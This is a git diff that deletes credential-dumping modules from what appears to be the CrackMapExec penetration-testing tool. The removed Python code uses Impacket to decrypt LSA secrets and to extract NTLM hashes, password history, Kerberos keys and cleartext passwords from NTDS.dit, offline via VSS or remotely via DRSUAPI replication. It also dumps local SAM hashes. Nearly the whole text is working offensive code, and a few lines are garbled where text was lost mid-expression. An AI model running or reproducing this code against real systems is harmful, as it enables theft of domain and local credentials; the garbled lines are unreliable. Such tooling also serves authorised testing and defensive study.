"$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest())) - - if secret != '': - self.__secretItems.append(secret) - self.__logger.highlight(secret) - else: - # Default print, hexdump - self.__secretItems.append('%s:%s' % (name, hexlify(secretItem))) - self.__logger.highlight('{}:{}'.format(name, hexlify(secretItem))) - #hexdump(secretItem) - - def dumpSecrets(self): - if self.__securityFile is None: - # No SECURITY file provided - return - - self.__logger.success('Dumping LSA Secrets') - - # Let's first see if there are cached entries - keys = self.enumKey('\\Policy\\Secrets') - if keys is None: - # No entries - return - try: - # Remove unnecesary value - keys.remove('NL$Control') - except: - pass - - if self.__LSAKey == '': - self.__getLSASecretKey() - - for key in keys: - logging.debug('Looking into %s' % key) - value = self.getValue('\\Policy\\Secrets\\%s\\CurrVal\\default' % key) - - if value is not None: - if self.__vistaStyle is True: - record = LSA_SECRET(value[1]) - tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) - plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:]) - record = LSA_SECRET_BLOB(plainText) - secret = record['Secret'] - else: - secret = self.__decryptSecret(self.__LSAKey, value[1]) - - self.__printSecret(key, secret) - - return self.__secretItems - - def exportSecrets(self, fileName): - if len(self.__secretItems) > 0: - fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8') - for item in self.__secretItems: - fd.write(item+'\n') - fd.close() - - def exportCached(self, fileName): - if len(self.__cachedItems) > 0: - fd = codecs.open(fileName+'.cached','w+', encoding='utf-8') - for item in self.__cachedItems: - fd.write(item+'\n') - fd.close() diff --git a/cme/credentials/ntds.py b/cme/credentials/ntds.py deleted file mode 100644 index 46330c0a..00000000 --- a/cme/credentials/ntds.py +++ /dev/null @@ -1,696 +0,0 @@ -from impacket.structure import Structure -from impacket.dcerpc.v5 import drsuapi -from impacket.nt_errors import STATUS_MORE_ENTRIES -from collections import OrderedDict -from impacket import ntlm -from binascii import hexlify, unhexlify -from struct import unpack -from datetime import datetime -from cme.credentials.cryptocommon import CryptoCommon -from Crypto.Cipher import DES, ARC4 -from cme.credentials.commonstructs import SAMR_RPC_SID -from impacket.ese import ESENT_DB -import logging -import hashlib -import random -import string -import os -import traceback -import codecs - -class NTDSHashes: - NAME_TO_INTERNAL = { - 'uSNCreated':'ATTq131091', - 'uSNChanged':'ATTq131192', - 'name':'ATTm3', - 'objectGUID':'ATTk589826', - 'objectSid':'ATTr589970', - 'userAccountControl':'ATTj589832', - 'primaryGroupID':'ATTj589922', - 'accountExpires':'ATTq589983', - 'logonCount':'ATTj589993', - 'sAMAccountName':'ATTm590045', - 'sAMAccountType':'ATTj590126', - 'lastLogonTimestamp':'ATTq589876', - 'userPrincipalName':'ATTm590480', - 'unicodePwd':'ATTk589914', - 'dBCSPwd':'ATTk589879', - 'ntPwdHistory':'ATTk589918', - 'lmPwdHistory':'ATTk589984', - 'pekList':'ATTk590689', - 'supplementalCredentials':'ATTk589949', - 'pwdLastSet':'ATTq589920', - } - - NAME_TO_ATTRTYP = { - 'userPrincipalName': 0x90290, - 'sAMAccountName': 0x900DD, - 'unicodePwd': 0x9005A, - 'dBCSPwd': 0x90037, - 'ntPwdHistory': 0x9005E, - 'lmPwdHistory': 0x900A0, - 'supplementalCredentials': 0x9007D, - 'objectSid': 0x90092, - } - - ATTRTYP_TO_ATTID = { - 'userPrincipalName': '1.2.840.113556.1.4.656', - 'sAMAccountName': '1.2.840.113556.1.4.221', - 'unicodePwd': '1.2.840.113556.1.4.90', - 'dBCSPwd': '1.2.840.113556.1.4.55', - 'ntPwdHistory': '1.2.840.113556.1.4.94', - 'lmPwdHistory': '1.2.840.113556.1.4.160', - 'supplementalCredentials': '1.2.840.113556.1.4.125', - 'objectSid': '1.2.840.113556.1.4.146', - 'pwdLastSet': '1.2.840.113556.1.4.96', - } - - KERBEROS_TYPE = { - 1:'dec-cbc-crc', - 3:'des-cbc-md5', - 17:'aes128-cts-hmac-sha1-96', - 18:'aes256-cts-hmac-sha1-96', - 0xffffff74:'rc4_hmac', - } - - INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems()) - - SAM_NORMAL_USER_ACCOUNT = 0x30000000 - SAM_MACHINE_ACCOUNT = 0x30000001 - SAM_TRUST_ACCOUNT = 0x30000002 - - ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT) - - class PEKLIST_ENC(Structure): - structure = ( - ('Header','8s=""'), - ('KeyMaterial','16s=""'), - ('EncryptedPek',':'), - ) - - class PEKLIST_PLAIN(Structure): - structure = ( - ('Header','32s=""'), - ('DecryptedPek',':'), - ) - - class PEK_KEY(Structure): - structure = ( - ('Header','1s=""'), - ('Padding','3s=""'), - ('Key','16s=""'), - ) - - class CRYPTED_HASH(Structure): - structure = ( - ('Header','8s=""'), - ('KeyMaterial','16s=""'), - ('EncryptedHash','16s=""'), - ) - - class CRYPTED_HISTORY(Structure): - structure = ( - ('Header','8s=""'), - ('KeyMaterial','16s=""'), - ('EncryptedHash',':'), - ) - - class CRYPTED_BLOB(Structure): - structure = ( - ('Header','8s=""'), - ('KeyMaterial','16s=""'), - ('EncryptedHash',':'), - ) - - def __init__(self, ntdsFile, bootKey, logger, isRemote=False, history=False, noLMHash=True, remoteOps=None, - useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None): - self.__bootKey = bootKey - self.__logger = logger - self.__NTDS = ntdsFile - self.__history = history - self.__noLMHash = noLMHash - self.__useVSSMethod = useVSSMethod - self.__remoteOps = remoteOps - self.__pwdLastSet = pwdLastSet - if self.__NTDS is not None: - self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote) - self.__cursor = self.__ESEDB.openTable('datatable') - self.__tmpUsers = list() - self.__PEK = list() - self.__cryptoCommon = CryptoCommon() - self.__kerberosKeys = OrderedDict() - self.__clearTextPwds = OrderedDict() - self.__justNTLM = justNTLM - self.__savedSessionFile = resumeSession - self.__resumeSessionFile = None - self.__outputFileName = outputFileName - - def getResumeSessionFile(self): - return self.__resumeSessionFile - - def __getPek(self): - logging.info('Searching for pekList, be patient') - peklist = None - while True: - record = self.__ESEDB.getNextRow(self.__cursor) - if record is None: - break - elif record[self.NAME_TO_INTERNAL['pekList']] is not None: - peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']]) - break - elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: - # Okey.. we found some users, but we're not yet ready to process them. - # Let's just store them in a temp list - self.__tmpUsers.append(record) - - if peklist is not None: - encryptedPekList = self.PEKLIST_ENC(peklist) - md5 = hashlib.new('md5') - md5.update(self.__bootKey) - for i in range(1000): - md5.update(encryptedPekList['KeyMaterial']) - tmpKey = md5.digest() - rc4 = ARC4.new(tmpKey) - decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek'])) - PEKLen = len(self.PEK_KEY()) - for i in range(len( decryptedPekList['DecryptedPek'] ) / PEKLen ): - cursor = i * PEKLen - pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen]) - logging.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key'])) - self.__PEK.append(pek['Key']) - - def __removeRC4Layer(self, cryptedHash): - md5 = hashlib.new('md5') - # PEK index can be found on header of each ciphered blob (pos 8-10) - pekIndex = hexlify(cryptedHash['Header']) - md5.update(self.__PEK[int(pekIndex[8:10])]) - md5.update(cryptedHash['KeyMaterial']) - tmpKey = md5.digest() - rc4 = ARC4.new(tmpKey) - plainText = rc4.encrypt(cryptedHash['EncryptedHash']) - - return plainText - - def __removeDESLayer(self, cryptedHash, rid): - Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid)) - - Crypt1 = DES.new(Key1, DES.MODE_ECB) - Crypt2 = DES.new(Key2, DES.MODE_ECB) - - decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:]) - - return decryptedHash - - def __fileTimeToDateTime(self, t): - t -= 116444736000000000 - t /= 10000000 - if t < 0: - return 'never' - else: - dt = datetime.fromtimestamp(t) - return dt.strftime("%Y-%m-%d %H:%M") - - def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None): - # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures - haveInfo = False - if self.__useVSSMethod is True: - if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None: - if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24: - if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: - domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] - userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) - else: - userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] - cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) - plainText = self.__removeRC4Layer(cipherText) - haveInfo = True - else: - domain = None - userName = None - for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']: - try: - attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) - LOOKUP_TABLE = self.ATTRTYP_TO_ATTID - except Exception, e: - logging.debug('Failed to execute OidFromAttid with error %s' % e) - # Fallbacking to fixed table and hope for the best - attId = attr['attrTyp'] - LOOKUP_TABLE = self.NAME_TO_ATTRTYP - - if attId == LOOKUP_TABLE['userPrincipalName']: - if attr['AttrVal']['valCount'] > 0: - try: - domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] - except: - domain = None - else: - domain = None - elif attId == LOOKUP_TABLE['sAMAccountName']: - if attr['AttrVal']['valCount'] > 0: - try: - userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') - except: - logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) - userName = 'unknown' - else: - logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) - userName = 'unknown' - if attId == LOOKUP_TABLE['supplementalCredentials']: - if attr['AttrVal']['valCount'] > 0: - blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) - plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob) - if len(plainText) > 24: - haveInfo = True - if domain is not None: - userName = '%s\\%s' % (domain, userName) - - if haveInfo is True: - try: - userProperties = samr.USER_PROPERTIES(plainText) - except: - # On some old w2k3 there might be user properties that don't - # match [MS-SAMR] structure, discarding them - return - propertiesData = userProperties['UserProperties'] - for propertyCount in range(userProperties['PropertyCount']): - userProperty = samr.USER_PROPERTY(propertiesData) - propertiesData = propertiesData[len(userProperty):] - # For now, we will only process Newer Kerberos Keys and CLEARTEXT - if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': - propertyValueBuffer = unhexlify(userProperty['PropertyValue']) - kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer) - data = kerbStoredCredentialNew['Buffer'] - for credential in range(kerbStoredCredentialNew['CredentialCount']): - keyDataNew = samr.KERB_KEY_DATA_NEW(data) - data = data[len(keyDataNew):] - keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] - - if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']): - answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue)) - else: - answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue)) - # We're just storing the keys, not printing them, to make the output more readable - # This is kind of ugly... but it's what I came up with tonight to get an ordered - # set :P. Better ideas welcomed ;) - self.__kerberosKeys[answer] = None - if keysFile is not None: - self.__writeOutput(keysFile, answer + '\n') - elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT': - # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property - # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password. - answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le')) - self.__clearTextPwds[answer] = None - if clearTextFile is not None: - self.__writeOutput(clearTextFile, answer + '\n') - - if clearTextFile is not None: - clearTextFile.flush() - if keysFile is not None: - keysFile.flush() - - def __decryptHash(self, record, rid=None, prefixTable=None, outputFile=None): - if self.__useVSSMethod is True: - logging.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']]) - - sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']])) - rid = sid.formatCanonical().split('-')[-1] - - if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None: - encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']])) - tmpLMHash = self.__removeRC4Layer(encryptedLMHash) - LMHash = self.__removeDESLayer(tmpLMHash, rid) - else: - LMHash = ntlm.LMOWFv1('', '') - - if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None: - encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']])) - tmpNTHash = self.__removeRC4Layer(encryptedNTHash) - NTHash = self.__removeDESLayer(tmpNTHash, rid) - else: - NTHash = ntlm.NTOWFv1('', '') - - if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: - domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] - userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) - else: - userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] - - if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None: - pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']]) - else: - pwdLastSet = 'N/A' - - answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash)) - if outputFile is not None: - self.__writeOutput(outputFile, answer + '\n') - - if self.__pwdLastSet is True: - answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) - self.__logger.highlight(answer) - - if self.__history: - LMHistory = [] - NTHistory = [] - if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None: - encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']])) - tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory) - for i in range(0, len(tmpLMHistory) / 16): - LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) - LMHistory.append(LMHash) - - if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None: - encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']])) - tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory) - for i in range(0, len(tmpNTHistory) / 16): - NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) - NTHistory.append(NTHash) - - for i, (LMHash, NTHash) in enumerate( - map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): - if self.__noLMHash: - lmhash = hexlify(ntlm.LMOWFv1('', '')) - else: - lmhash = hexlify(LMHash) - - answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash)) - if outputFile is not None: - self.__writeOutput(outputFile, answer + '\n') - self.__logger.highlight(answer) - else: - logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) - domain = None - if self.__history: - LMHistory = [] - NTHistory = [] - for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']: - try: - attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) - LOOKUP_TABLE = self.ATTRTYP_TO_ATTID - except Exception, e: - logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e) - # Fallbacking to fixed table and hope for the best - attId = attr['attrTyp'] - LOOKUP_TABLE = self.NAME_TO_ATTRTYP - - if attId == LOOKUP_TABLE['dBCSPwd']: - if attr['AttrVal']['valCount'] > 0: - encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) - encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd) - LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid) - else: - LMHash = ntlm.LMOWFv1('', '') - elif attId == LOOKUP_TABLE['unicodePwd']: - if attr['AttrVal']['valCount'] > 0: - encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) - encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd) - NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid) - else: - NTHash = ntlm.NTOWFv1('', '') - elif attId == LOOKUP_TABLE['userPrincipalName']: - if attr['AttrVal']['valCount'] > 0: - try: - domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] - except: - domain = None - else: - domain = None - elif attId == LOOKUP_TABLE['sAMAccountName']: - if attr['AttrVal']['valCount'] > 0: - try: - userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') - except: - logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) - userName = 'unknown' - else: - logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) - userName = 'unknown' - elif attId == LOOKUP_TABLE['objectSid']: - if attr['AttrVal']['valCount'] > 0: - objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) - else: - logging.error('Cannot get objectSid for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) - objectSid = rid - elif attId == LOOKUP_TABLE['pwdLastSet']: - if attr['AttrVal']['valCount'] > 0: - try: - pwdLastSet = self.__fileTimeToDateTime(unpack(' 0: - encryptedLMHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) - tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory) - for i in range(0, len(tmpLMHistory) / 16): - LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) - LMHistory.append(LMHashHistory) - else: - logging.debug('No lmPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) - elif attId == LOOKUP_TABLE['ntPwdHistory']: - if attr['AttrVal']['valCount'] > 0: - encryptedNTHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) - tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory) - for i in range(0, len(tmpNTHistory) / 16): - NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) - NTHistory.append(NTHashHistory) - else: - logging.debug('No ntPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) - - if domain is not None: - userName = '%s\\%s' % (domain, userName) - - answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash)) - - if outputFile is not None: - self.__writeOutput(outputFile, answer + '\n') - - if self.__pwdLastSet is True: - answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) - self.__logger.highlight(answer) - - if self.__history: - for i, (LMHashHistory, NTHashHistory) in enumerate( - map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): - if self.__noLMHash: - lmhash = hexlify(ntlm.LMOWFv1('', '')) - else: - lmhash = hexlify(LMHashHistory) - - answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory)) - self.__logger.highlight(answer) - if outputFile is not None: - self.__writeOutput(outputFile, answer + '\n') - - if outputFile is not None: - outputFile.flush() - - def dump(self): - if self.__useVSSMethod is True: - if self.__NTDS is None: - # No NTDS.dit file provided and were asked to use VSS - return - else: - if self.__NTDS is None: - # DRSUAPI method, checking whether target is a DC - try: - self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1]) - except Exception as e: - traceback.print_exc() - # Target's not a DC - return - - # Let's check if we need to save results in a file - if self.__outputFileName is not None: - logging.debug('Saving output to %s' % self.__outputFileName) - # We have to export. Are we resuming a session? - if self.__savedSessionFile is not None: - mode = 'a+' - else: - mode = 'w+' - hashesOutputFile = codecs.open(self.__outputFileName+'.ntds',mode, encoding='utf-8') - if self.__justNTLM is False: - keysOutputFile = codecs.open(self.__outputFileName+'.ntds.kerberos',mode, encoding='utf-8') - clearTextOutputFile = codecs.open(self.__outputFileName+'.ntds.cleartext',mode, encoding='utf-8') - else: - hashesOutputFile = None - keysOutputFile = None - clearTextOutputFile = None - - self.__logger.success('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)') - if self.__useVSSMethod: - # We start getting rows from the table aiming at reaching - # the pekList. If we find users records we stored them - # in a temp list for later process. - self.__getPek() - if self.__PEK is not None: - logging.info('Reading and decrypting hashes from %s ' % self.__NTDS) - # First of all, if we have users already cached, let's decrypt their hashes - for record in self.__tmpUsers: - try: - self.__decryptHash(record, outputFile=hashesOutputFile) - if self.__justNTLM is False: - self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile) - except Exception as e: - traceback.print_exc() - try: - logging.error( - "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) - logging.error(str(e)) - pass - except: - logging.error("Error while processing row!") - logging.error(str(e)) - pass - - # Now let's keep moving through the NTDS file and decrypting what we find - while True: - try: - record = self.__ESEDB.getNextRow(self.__cursor) - except: - traceback.print_exc() - logging.error('Error while calling getNextRow(), trying the next one') - continue - - if record is None: - break - try: - if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: - self.__decryptHash(record, outputFile=hashesOutputFile) - if self.__justNTLM is False: - self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile) - except Exception, e: - traceback.print_exc() - try: - logging.error( - "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) - logging.error(str(e)) - pass - except: - logging.error("Error while processing row!") - logging.error(str(e)) - pass - else: - self.__logger.success('Using the DRSUAPI method to get NTDS.DIT secrets') - status = STATUS_MORE_ENTRIES - enumerationContext = 0 - - # Do we have to resume from a previously saved session? - if self.__savedSessionFile is not None: - # Yes - try: - resumeFile = open(self.__savedSessionFile, 'rwb+') - except Exception, e: - traceback.print_exc() - raise Exception('Cannot open resume session file name %s' % str(e)) - resumeSid = resumeFile.read().strip('\n') - logging.info('Resuming from SID %s, be patient' % resumeSid) - # The resume session file is the same as the savedSessionFile - tmpName = self.__savedSessionFile - else: - resumeSid = None - tmpName = 'sessionresume_%s' % ''.join([random.choice(string.letters) for i in range(8)]) - logging.debug('Session resume file will be %s' % tmpName) - # Creating the resume session file - try: - resumeFile = open(tmpName, 'wb+') - self.__resumeSessionFile = tmpName - except Exception, e: - traceback.print_exc() - raise Exception('Cannot create resume session file %s' % str(e)) - - while status == STATUS_MORE_ENTRIES: - resp = self.__remoteOps.getDomainUsers(enumerationContext) - - for user in resp['Buffer']['Buffer']: - userName = user['Name'] - - userSid = self.__remoteOps.ridToSid(user['RelativeId']) - if resumeSid is not None: - # Means we're looking for a SID before start processing back again - if resumeSid == userSid.formatCanonical(): - # Match!, next round we will back processing - resumeSid = None - continue - - # Let's crack the user sid into DS_FQDN_1779_NAME - # In theory I shouldn't need to crack the sid. Instead - # I could use it when calling DRSGetNCChanges inside the DSNAME parameter. - # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so. - crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name = userSid.formatCanonical()) - - if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: - userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) - #userRecord.dump() - if userRecord['pmsgOut']['V6']['cNumObjects'] == 0: - raise Exception('DRSGetNCChanges didn\'t return any object!') - else: - logging.warning('DRSCrackNames returned %d items for user %s, skipping' %(crackedName['pmsgOut']['V1']['pResult']['cItems'], userName)) - try: - self.__decryptHash(userRecord, user['RelativeId'], - userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry'], - hashesOutputFile) - if self.__justNTLM is False: - self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc'][ - 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) - - except Exception, e: - traceback.print_exc() - logging.error("Error while processing user!") - logging.error(str(e)) - - # Saving the session state - resumeFile.seek(0,0) - resumeFile.truncate(0) - resumeFile.write(userSid.formatCanonical()) - resumeFile.flush() - - enumerationContext = resp['EnumerationContext'] - status = resp['ErrorCode'] - - # Everything went well and we covered all the users - # Let's remove the resume file - resumeFile.close() - os.remove(tmpName) - self.__resumeSessionFile = None - - # Now we'll print the Kerberos keys. So we don't mix things up in the output. - if len(self.__kerberosKeys) > 0: - if self.__useVSSMethod is True: - logging.info('Kerberos keys from %s ' % self.__NTDS) - else: - logging.info('Kerberos keys grabbed') - - for itemKey in self.__kerberosKeys.keys(): - self.__logger.highlight(itemKey) - - # And finally the cleartext pwds - if len(self.__clearTextPwds) > 0: - if self.__useVSSMethod is True: - logging.info('ClearText password from %s ' % self.__NTDS) - else: - logging.info('ClearText passwords grabbed') - - for itemKey in self.__clearTextPwds.keys(): - self.__logger.highlight(itemKey) - - # Closing output file - if self.__outputFileName is not None: - hashesOutputFile.close() - if self.__justNTLM is False: - keysOutputFile.close() - clearTextOutputFile.close() - - @classmethod - def __writeOutput(cls, fd, data): - try: - fd.write(data) - except Exception, e: - logging.error("Error writing entry, skippingi (%s)" % str(e)) - pass - - def finish(self): - if self.__NTDS is not None: - self.__ESEDB.close() diff --git a/cme/credentials/offlineregistry.py b/cme/credentials/offlineregistry.py deleted file mode 100644 index ebd94617..00000000 --- a/cme/credentials/offlineregistry.py +++ /dev/null @@ -1,48 +0,0 @@ -from impacket import winregistry - -class OfflineRegistry: - def __init__(self, hiveFile = None, isRemote = False): - self.__hiveFile = hiveFile - if self.__hiveFile is not None: - self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote) - - def enumKey(self, searchKey): - parentKey = self.__registryHive.findKey(searchKey) - - if parentKey is None: - return - - keys = self.__registryHive.enumKey(parentKey) - - return keys - - def enumValues(self, searchKey): - key = self.__registryHive.findKey(searchKey) - - if key is None: - return - - values = self.__registryHive.enumValues(key) - - return values - - def getValue(self, keyValue): - value = self.__registryHive.getValue(keyValue) - - if value is None: - return - - return value - - def getClass(self, className): - value = self.__registryHive.getClass(className) - - if value is None: - return - - return value - - def finish(self): - if self.__hiveFile is not None: - # Remove temp file and whatever else is needed - self.__registryHive.close() \ No newline at end of file diff --git a/cme/credentials/sam.py b/cme/credentials/sam.py deleted file mode 100644 index cc8d6e73..00000000 --- a/cme/credentials/sam.py +++ /dev/null @@ -1,129 +0,0 @@ -from cme.credentials.offlineregistry import OfflineRegistry -from cme.credentials.commonstructs import DOMAIN_ACCOUNT_F, USER_ACCOUNT_V -from cme.credentials.cryptocommon import CryptoCommon -from impacket import ntlm -from binascii import hexlify -from Crypto.Cipher import DES, ARC4 -from struct import pack -import hashlib -import ntpath -import codecs -import logging - -class SAMHashes(OfflineRegistry): - def __init__(self, samFile, bootKey, logger, db, host, hostname, isRemote = False): - OfflineRegistry.__init__(self, samFile, isRemote) - self.__samFile = samFile - self.__hashedBootKey = '' - self.__bootKey = bootKey - self.__logger = logger - self.__db = db - self.__host = host - self.__hostname = hostname - self.__cryptoCommon = CryptoCommon() - self.__itemsFound = {} - - def MD5(self, data): - md5 = hashlib.new('md5') - md5.update(data) - return md5.digest() - - def getHBootKey(self): - logging.debug('Calculating HashedBootKey from SAM') - QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" - DIGITS = "0123456789012345678901234567890123456789\0" - - F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1] - - domainData = DOMAIN_ACCOUNT_F(F) - - rc4Key = self.MD5(domainData['Key0']['Salt'] + QWERTY + self.__bootKey + DIGITS) - - rc4 = ARC4.new(rc4Key) - self.__hashedBootKey = rc4.encrypt(domainData['Key0']['Key']+domainData['Key0']['CheckSum']) - - # Verify key with checksum - checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY) - - if checkSum != self.__hashedBootKey[16:]: - raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(') - - def __decryptHash(self, rid, cryptedHash, constant): - # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key - # plus hashedBootKey stuff - Key1,Key2 = self.__cryptoCommon.deriveKey(rid) - - Crypt1 = DES.new(Key1, DES.MODE_ECB) - Crypt2 = DES.new(Key2, DES.MODE_ECB) - - rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack(" 0: - items = sorted(self.__itemsFound) - fd = codecs.open(fileName+'.sam','w+', encoding='utf-8') - for item in items: - fd.write(self.__itemsFound[item]+'\n') - fd.close() \ No newline at end of file diff --git a/cme/credentials/secretsdump.py b/cme/credentials/secretsdump.py deleted file mode 100644 index 95c97f59..00000000 --- a/cme/credentials/secretsdump.py +++ /dev/null @@ -1,201 +0,0 @@ -from impacket import winregistry -from binascii import unhexlify, hexlify -from gevent import sleep 